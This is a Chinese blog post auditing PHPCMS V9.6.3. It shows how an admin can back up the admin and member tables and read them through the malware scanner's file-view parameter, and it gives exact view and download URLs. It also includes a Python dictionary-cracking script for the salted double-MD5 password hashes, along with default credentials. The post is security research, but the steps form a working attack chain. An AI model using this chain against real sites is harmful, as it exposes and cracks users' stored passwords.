粗略的代码审计-phpcms(二)

版本:Phpcms V9.6.3 Release 20170515
环境:php7

后台->扩展->数据库工具+木马查杀->数据库备份泄露->爆破密码

首先回忆一下,木马查杀会根据特征值遍历文件并匹配特征,同时可以点击“查看”在线查看对应文件。点击“查看”并抓包,可以发现查看文件的参数可以被修改,因此我们可以控制此参数达到任意文件查看,但后端对重要的database.php和system.php文件进行了保护,不允许在线查看,不过此外的所有文件都可以在线查看。

首先在数据库工具处选择备份,对于最重要的数据库文件资料,无疑是存储着管理员资料的admin表和存储着会员资料的member表。先对这两个表进行备份:

备份完成后,会返回备份sql文件名称(此例为06xlxl3diu8z3blf07f3_db_20200317_1.sql),对应的目录为/caches/bakup/default/。然后我们用木马查杀的在线查看功能,修改查看文件路径为我们备份好的sql文件路径。

单独提取出查看文件的url链接为:/phpcms/index.php?m=scan&c=index&a=view&url=caches\bakup\default\your_backup_sqlfile.sql&pc_hash=

另附下载api,网页端没有接口但后端存在:/phpcms/index.php?m=admin&c=database&a=public_down&pdoname=\caches\bakup\default&filename=your_bakup_sqlfile.sql

当然此接口都是需要身份认证的,即利用前提是登录进后台。

然后此时获得的备份文件中已有数据库保存的信息,如用户名及密码等。但此时的密码是加密过的,加密机制为先把传入的password明文去掉两边空格,md5加密然后与一个6位长度的随机字符串encrypt拼接,再次进行md5加密。然后每次登录都会重置随机字符串并用它再md5加密一遍password并更新保存。
加密过程:$password = md5(md5($_POST['password'])+$encrypt);
爆破脚本:

#!/usr/bin/python
# -*- coding:utf8 -*-

import hashlib,os,sys,argparse
import threading

description = """
尝试根据密文与salt碰撞明文,需要传入密码本,不然直接爆破不实际
攻击对象 : phpcms
后台位置 : /admin.php
默认帐号 : phpcms
默认密码 : phpcms
加密方式 : 先把传入的password去掉两边空格,md5加密然后与一个6位长度的随机字符串encrypt拼接,再次进行md5加密
"""

class RUN:
    def __init__(self):
        self.info = self.terminal_input()
        self.start()

    def start(self):
        if self.info['file'] != None:
            try:
                F = open(self.info['file'],'r')
            except:
                raise('密码本读取失败')
            for x in F:
                x = x.replace('\n','')
                if self.mEncrypt(x) == self.info['password']:
                    print('密码:'+x)   # 爆破得出密码
                    sys.exit(0)
        else:
            raise('无密码本')

    def mEncrypt(self,x):
        '''
        MD5加密
        :param x: 弱密码
        :return:密文
        '''
        m = hashlib.md5(x.encode()).hexdigest()
        n = m + self.info['encrypt']   # 加密一次后拼接再加密
        o = hashlib.md5(n.encode()).hexdigest()
        return o

    def terminal_input(self):
        '''
        接收参数
        :return:
        '''
        ter_opt = {}
        if (len(sys.argv) == 1):
            sys.argv.append('-h')
        parser = argparse.ArgumentParser(description=self.help(), add_help=True)
        parser.add_argument('-e', '--encrypt', help='6位长度的随机字符串')
        parser.add_argument('-p','--password',help='数据库存储密文')
        parser.add_argument('-f','--file',default=None,help='弱密码本')
        self.argvs = parser.parse_args()
        for x, y in self.argvs._get_kwargs():
            ter_opt[x] = y
        return ter_opt

    def help(self):
        print(description)
        return

if __name__ == '__main__':
    x = RUN()

小结

phpcms的审计工作暂告一段落,发现该cms的SQL处理模块比较老旧,有多个地方存在变量覆盖漏洞(同时部分extract()又做了变量覆盖保护,看不懂这种操作)。发现的漏洞都存在于后台页面,利用局限性很大,希望下一个cms能挖掘到有价值的洞。

发表评论

电子邮件地址不会被公开。 必填项已用*标注